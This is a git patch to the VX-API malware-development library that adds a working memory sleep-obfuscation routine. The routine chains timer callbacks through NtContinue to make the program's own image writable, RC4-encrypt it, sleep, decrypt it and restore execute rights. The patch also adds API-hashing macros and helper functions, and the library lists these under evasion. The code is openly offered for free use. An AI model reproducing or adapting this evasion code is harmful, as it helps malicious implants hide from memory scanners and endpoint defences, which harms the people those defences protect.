From d5ed0745154dc6228664f074b5f08cc778305e12 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Tue, 13 Dec 2022 23:55:56 -0600 Subject: [PATCH] 2.0.451 2.0.451 --- .gitignore | 3 + README.md | 2 + VX-API/FunctionDeclaration.h | 11 +- VX-API/GetPeFileBaseAddress.cpp | 14 ++ VX-API/HashStringDjb2.cpp | 4 +- VX-API/HookEngineUnhookHeapFreecpp.cpp | 2 +- VX-API/Internal.h | 5 + VX-API/Main.cpp | 6 +- VX-API/SleepObfuscationViaVirtualProtect.cpp | 142 +++++++++++++++++++ VX-API/VX-API.vcxproj | 5 +- VX-API/VX-API.vcxproj.filters | 6 + VX-API/Win32Helper.h | 10 ++ 12 files changed, 203 insertions(+), 7 deletions(-) create mode 100644 VX-API/GetPeFileBaseAddress.cpp create mode 100644 VX-API/SleepObfuscationViaVirtualProtect.cpp diff --git a/.gitignore b/.gitignore index c26129a..39232f6 100644 --- a/.gitignore +++ b/.gitignore @@ -20,3 +20,6 @@ x64/Debug/VX-API.exe *.xml *.sarif *.lastcodeanalysissucceeded +*.iobj +*.ipdb +*.exe diff --git a/README.md b/README.md index 2c824cb..83cdecb 100644 --- a/README.md +++ b/README.md @@ -80,6 +80,7 @@ You're free to use this in any manner you please. You do not need to use this en | RemoveDllFromPeb | rad9800 | Evasion | | HookEngineRestoreHeapFree | rad9800 | Evasion | | HookEngineUnhookHeapFree | rad9800 | Evasion | +| SleepObfuscationViaVirtualProtect | 5pider | Evasion | | GetCurrentLocaleFromTeb | 3xp0rt | Fingerprinting | | GetNumberOfLinkedDlls | smelly__vx | Fingerprinting | | GetOsBuildNumberFromPeb | smelly__vx | Fingerprinting | @@ -120,6 +121,7 @@ You're free to use this in any manner you please. You do not need to use this en | IsRegistryKeyValid | smelly__vx | Helper Functions | | FastcallExecuteBinaryShellExecuteEx | smelly__vx | Helper Functions | | GetCurrentProcessIdFromOffset | RistBS | Helper Functions | +| GetPeBaseAddress | smelly__vx | Helper Functions | | GetKUserSharedData | Geoff Chappell | Library Loading | | GetModuleHandleEx2 | smelly__vx | Library Loading | | GetPeb | 29a | Library Loading | diff --git a/VX-API/FunctionDeclaration.h b/VX-API/FunctionDeclaration.h index 1b65f5f..5d2e776 100644 --- a/VX-API/FunctionDeclaration.h +++ b/VX-API/FunctionDeclaration.h @@ -31,6 +31,7 @@ typedef NTSTATUS(NTAPI* NTWAITFORSINGLEOBJECT)(HANDLE, BOOL, PLARGE_INTEGER); typedef NTSTATUS(NTAPI* RTLQUEUEWORKITEM)(PRTL_WORK_ITEM_ROUTINE, PVOID, ULONG); typedef NTSTATUS(NTAPI* RTLREGISTERWAIT)(PHANDLE, HANDLE, WORKERCALLBACKFUNC, PVOID, ULONG, ULONG); typedef NTSTATUS(NTAPI* RTLDEREGISTERWAITEX)(HANDLE, HANDLE); +typedef NTSTATUS(NTAPI* NTCONTINUE)(PCONTEXT, BOOL); @@ -60,4 +61,12 @@ typedef HRESULT(WINAPI* DSCOPYFROMSHAREDFILE)(LPCWSTR, LPCWSTR); /******************************************* SHELL32 IMPORT *******************************************/ -typedef HRESULT(WINAPI* DLLGETCLASSOBJECT)(REFCLSID, REFIID, LPVOID*); \ No newline at end of file +typedef HRESULT(WINAPI* DLLGETCLASSOBJECT)(REFCLSID, REFIID, LPVOID*); + + + +/******************************************* + ADVAPI32 IMPORT +*******************************************/ + +typedef NTSTATUS(NTAPI* SYSTEMFUNCTION032)(PAB_STRING, PAB_STRING); \ No newline at end of file diff --git a/VX-API/GetPeFileBaseAddress.cpp b/VX-API/GetPeFileBaseAddress.cpp new file mode 100644 index 0000000..5290ba0 --- /dev/null +++ b/VX-API/GetPeFileBaseAddress.cpp @@ -0,0 +1,14 @@ +#include "Win32Helper.h" + +HMODULE GetPeFileBaseAddress(VOID) +{ + PPEB Peb = GetPebFromTeb(); + PLDR_MODULE Module = NULL; + + Module = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink - 16); + + if (!Module) + return NULL; + + return (HMODULE)(Module->BaseAddress ? Module->BaseAddress : NULL); +} \ No newline at end of file diff --git a/VX-API/HashStringDjb2.cpp b/VX-API/HashStringDjb2.cpp index d551880..e963ccd 100644 --- a/VX-API/HashStringDjb2.cpp +++ b/VX-API/HashStringDjb2.cpp @@ -3,7 +3,7 @@ DWORD HashStringDjb2A(_In_ PCHAR String) { ULONG Hash = 5381; - INT c; + INT c = 0; while (c = *String++) Hash = ((Hash << 5) + Hash) + c; @@ -14,7 +14,7 @@ DWORD HashStringDjb2A(_In_ PCHAR String) DWORD HashStringDjb2W(_In_ PWCHAR String) { ULONG Hash = 5381; - INT c; + INT c = 0; while (c = *String++) Hash = ((Hash << 5) + Hash) + c; diff --git a/VX-API/HookEngineUnhookHeapFreecpp.cpp b/VX-API/HookEngineUnhookHeapFreecpp.cpp index 961f644..31364f1 100644 --- a/VX-API/HookEngineUnhookHeapFreecpp.cpp +++ b/VX-API/HookEngineUnhookHeapFreecpp.cpp @@ -2,7 +2,7 @@ VOID HeapFreeInterceptionRoutine(PEXCEPTION_POINTERS ExceptionInfo) { - CONST DWORD dwSize = HeapSize((HANDLE)ExceptionInfo->ContextRecord->Rcx, (DWORD)ExceptionInfo->ContextRecord->Rdx, (LPCVOID)ExceptionInfo->ContextRecord->R8); + CONST DWORD dwSize = (DWORD)HeapSize((HANDLE)ExceptionInfo->ContextRecord->Rcx, (DWORD)ExceptionInfo->ContextRecord->Rdx, (LPCVOID)ExceptionInfo->ContextRecord->R8); if (dwSize) ZeroMemoryEx((PVOID)ExceptionInfo->ContextRecord->R8, dwSize); diff --git a/VX-API/Internal.h b/VX-API/Internal.h index 60bde12..f134450 100644 --- a/VX-API/Internal.h +++ b/VX-API/Internal.h @@ -1126,3 +1126,8 @@ typedef VOID(NTAPI* PIO_APC_ROUTINE)(PVOID ApcContext, _In_ PIO_STATUS_BLOCK IoS typedef DWORD(CALLBACK* PRTL_WORK_ITEM_ROUTINE)(LPVOID); +typedef struct AMBIGUOUS_STRING { + DWORD Length; + DWORD MaximumLength; + PUCHAR Buffer; +}AB_STRING, * PAB_STRING; diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index af9556b..5c33339 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -37,8 +37,10 @@ int main(VOID) //ShellcodeExecutionViaFunctionCallbackMain(&Sei); - __demonstration_WinMain(); - + //hasha(NtMapViewOfSection); + UCHAR KeyBuf[17] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x00}; + + SleepObfuscationViaVirtualProtect(4000, KeyBuf); return dwError; } diff --git a/VX-API/SleepObfuscationViaVirtualProtect.cpp b/VX-API/SleepObfuscationViaVirtualProtect.cpp new file mode 100644 index 0000000..3cfa2dc --- /dev/null +++ b/VX-API/SleepObfuscationViaVirtualProtect.cpp @@ -0,0 +1,142 @@ +#include "Win32Helper.h" + + +BOOL SleepObfuscationViaVirtualProtect(_In_ DWORD dwSleepTimeInMilliseconds, _In_ PUCHAR Key) +{ + BOOL bFlag = FALSE; + NTCONTINUE NtContinue = NULL; + SYSTEMFUNCTION032 SystemFunction032 = NULL; + HMODULE hNtdll = NULL, hAdvapi32 = NULL; + + PIMAGE_DOS_HEADER Dos = NULL; + PIMAGE_FILE_HEADER File = NULL; + PIMAGE_NT_HEADERS Nt = NULL; + PIMAGE_OPTIONAL_HEADER Optional = NULL; + + HMODULE ImageBaseAddress = NULL; + + CONTEXT ContextThread = { 0 }, RopVirtualProtectReadWrite = { 0 }, RopSystemFunction032Encryption = { 0 }, RopWaitForSingleObject = { 0 }; + CONTEXT RopSystemFunction032Decryption = { 0 }, RopVirtualProtectExecute = { 0 }, RopSetEvent = { 0 }; + AB_STRING BinaryKey = { 0 }, ImageBuffer = { 0 }; + + HANDLE hTimer = NULL, hTimerQueue = NULL, hEvent = NULL; + + DWORD PreviousProtectionAttribute = ERROR_SUCCESS; + + hNtdll = GetModuleHandleEx2W(L"ntdll.dll"); + if (hNtdll == NULL) + goto EXIT_ROUTINE; + + hAdvapi32 = TryLoadDllMultiMethodW((PWCHAR)L"cryptsp.dll"); + if (hAdvapi32 == NULL) + goto EXIT_ROUTINE; + + NtContinue = (NTCONTINUE)GetProcAddressA((DWORD64)hNtdll, "NtContinue"); + SystemFunction032 = (SYSTEMFUNCTION032)GetProcAddressA((DWORD64)hAdvapi32, "SystemFunction032"); + + if (!NtContinue || !SystemFunction032) + goto EXIT_ROUTINE; + + ImageBaseAddress = GetPeFileBaseAddress(); + if (ImageBaseAddress == NULL) + goto EXIT_ROUTINE; + + RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ImageBaseAddress); + + hEvent = CreateEventW(0, 0, 0, 0); + if (hEvent == NULL) + goto EXIT_ROUTINE; + + hTimerQueue = CreateTimerQueue(); + if (hTimerQueue == NULL) + goto EXIT_ROUTINE; + + BinaryKey.Buffer = Key; + BinaryKey.Length = BinaryKey.MaximumLength = 17; + + ImageBuffer.Buffer = (PUCHAR)ImageBaseAddress; + ImageBuffer.Length = ImageBuffer.MaximumLength = Optional->SizeOfImage; + + if (!CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &ContextThread, 0, 0, WT_EXECUTEINTIMERTHREAD)) + goto EXIT_ROUTINE; + + WaitForSingleObject(hEvent, 0x32); + + if (CopyMemoryEx(&RopVirtualProtectReadWrite, &ContextThread, sizeof(CONTEXT)) == NULL) + goto EXIT_ROUTINE; + + if (CopyMemoryEx(&RopSystemFunction032Encryption, &ContextThread, sizeof(CONTEXT)) == NULL) + goto EXIT_ROUTINE; + + if (CopyMemoryEx(&RopWaitForSingleObject, &ContextThread, sizeof(CONTEXT)) == NULL) + goto EXIT_ROUTINE; + + if (CopyMemoryEx(&RopSystemFunction032Decryption, &ContextThread, sizeof(CONTEXT)) == NULL) + goto EXIT_ROUTINE; + + if (CopyMemoryEx(&RopVirtualProtectExecute, &ContextThread, sizeof(CONTEXT)) == NULL) + goto EXIT_ROUTINE; + + if (CopyMemoryEx(&RopSetEvent, &ContextThread, sizeof(CONTEXT)) == NULL) + goto EXIT_ROUTINE; + + // VirtualProtect + RopVirtualProtectReadWrite.Rsp -= 8; + RopVirtualProtectReadWrite.Rip = (DWORD64)VirtualProtect; + RopVirtualProtectReadWrite.Rcx = (DWORD64)ImageBaseAddress; + RopVirtualProtectReadWrite.Rdx = Optional->SizeOfImage; + RopVirtualProtectReadWrite.R8 = PAGE_READWRITE; + RopVirtualProtectReadWrite.R9 = (DWORD64)&PreviousProtectionAttribute; + + // SystemFunction032 + RopSystemFunction032Encryption.Rsp -= 8; + RopSystemFunction032Encryption.Rip = (DWORD64)SystemFunction032; + RopSystemFunction032Encryption.Rcx = (DWORD64)&ImageBuffer; + RopSystemFunction032Encryption.Rdx = (DWORD64)&BinaryKey; + + // WaitForSingleObject + RopWaitForSingleObject.Rsp -= 8; + RopWaitForSingleObject.Rip = (DWORD64)WaitForSingleObject; + RopWaitForSingleObject.Rcx = (DWORD64)InlineGetCurrentProcess; + RopWaitForSingleObject.Rdx = dwSleepTimeInMilliseconds; + + // SystemFunction032 + RopSystemFunction032Decryption.Rsp -= 8; + RopSystemFunction032Decryption.Rip = (DWORD64)SystemFunction032; + RopSystemFunction032Decryption.Rcx = (DWORD64)&ImageBuffer; + RopSystemFunction032Decryption.Rdx = (DWORD64)&BinaryKey; + + // VirtualProtect + RopVirtualProtectExecute.Rsp -= 8; + RopVirtualProtectExecute.Rip = (DWORD64)VirtualProtect; + RopVirtualProtectExecute.Rcx = (DWORD64)ImageBaseAddress; + RopVirtualProtectExecute.Rdx = Optional->SizeOfImage; + RopVirtualProtectExecute.R8 = PAGE_EXECUTE_READWRITE; + RopVirtualProtectExecute.R9 = (DWORD64)&PreviousProtectionAttribute; + + // SetEvent + RopSetEvent.Rsp -= 8; + RopSetEvent.Rip = (DWORD64)SetEvent; + RopSetEvent.Rcx = (DWORD64)hEvent; + + CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopVirtualProtectReadWrite, 100, 0, WT_EXECUTEINTIMERTHREAD); + CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSystemFunction032Encryption, 200, 0, WT_EXECUTEINTIMERTHREAD); + CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopWaitForSingleObject, 300, 0, WT_EXECUTEINTIMERTHREAD); + CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSystemFunction032Decryption, 400, 0, WT_EXECUTEINTIMERTHREAD); + CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopVirtualProtectExecute, 500, 0, WT_EXECUTEINTIMERTHREAD); + CreateTimerQueueTimer(&hTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvent, 600, 0, WT_EXECUTEINTIMERTHREAD); + + WaitForSingleObject(hEvent, INFINITE); + + bFlag = TRUE; + +EXIT_ROUTINE: + +#pragma warning( push ) +#pragma warning( disable : 6031) + if(hTimerQueue) + DeleteTimerQueue(hTimerQueue); +#pragma warning( pop ) + + return bFlag; +} \ No newline at end of file diff --git a/VX-API/VX-API.vcxproj b/VX-API/VX-API.vcxproj index 7165a00..b580ebf 100644 --- a/VX-API/VX-API.vcxproj +++ b/VX-API/VX-API.vcxproj @@ -104,7 +104,7 @@ true _DEBUG;_CONSOLE;%(PreprocessorDefinitions) true - stdcpp17 + stdcpp20 Console @@ -119,6 +119,7 @@ true NDEBUG;_CONSOLE;%(PreprocessorDefinitions) true + stdcpp20 Console @@ -181,6 +182,7 @@ + @@ -244,6 +246,7 @@ + diff --git a/VX-API/VX-API.vcxproj.filters b/VX-API/VX-API.vcxproj.filters index 2677810..66fc41c 100644 --- a/VX-API/VX-API.vcxproj.filters +++ b/VX-API/VX-API.vcxproj.filters @@ -513,6 +513,12 @@ Source Files\Windows API Helper Functions\Evasion + + Source Files\Windows API Helper Functions\Evasion + + + Source Files\Windows API Helper Functions\Helper Functions + diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index 6840adb..6338afc 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -15,6 +15,7 @@ #include #include #include +#include #pragma comment(lib, "Dnsapi.lib") @@ -140,6 +141,13 @@ DWORD RtlNtStatusToDosErrorViaImport(_In_ NTSTATUS Status); /******************************************* CRYPTOGRAPHY RELATED *******************************************/ +//#define TOKENIZE( x ) #x +//#define CONCAT3( X, Y, Z ) X##Y##Z +//#define HASHALGOA HashStringDjb2A +//#define hasha( VAL ) constexpr auto CONCAT3(hash,VAL,A) = HASHALGOA((PCHAR)TOKENIZE(VAL)) +//#define hashw( VAL ) constexpr auto CONCAT3(hash,VAL,W) = HASHALGOA((PWCHAR)TOKENIZE(VAL)) + + DWORD HashStringDjb2A(_In_ PCHAR String); DWORD HashStringDjb2W(_In_ PWCHAR String); ULONG HashStringFowlerNollVoVariant1aA(_In_ PCHAR String); @@ -244,6 +252,7 @@ DWORD IsRegistryKeyValidW(_In_ HKEY PredefinedKey, _In_ PWCHAR Path); BOOL FastcallExecuteBinaryShellExecuteExW(_In_ PWCHAR FullPathToBinary, _In_ PWCHAR OptionalParameters); BOOL FastcallExecuteBinaryShellExecuteExA(_In_ PCHAR FullPathToBinary, _In_ PCHAR OptionalParameters); DWORD GetCurrentProcessIdFromOffset(VOID); +HMODULE GetPeFileBaseAddress(VOID); @@ -324,6 +333,7 @@ BOOL RemoveDllFromPebA(_In_ LPCSTR lpModuleName); BOOL RemoveDllFromPebW(_In_ LPCWSTR lpModuleName); BOOL HookEngineUnhookHeapFree(_In_ BOOL StartEngine); BOOL HookEngineRestoreHeapFree(_In_ BOOL ShutdownEngine); +BOOL SleepObfuscationViaVirtualProtect(_In_ DWORD dwSleepTimeInMilliseconds, _In_ PUCHAR Key);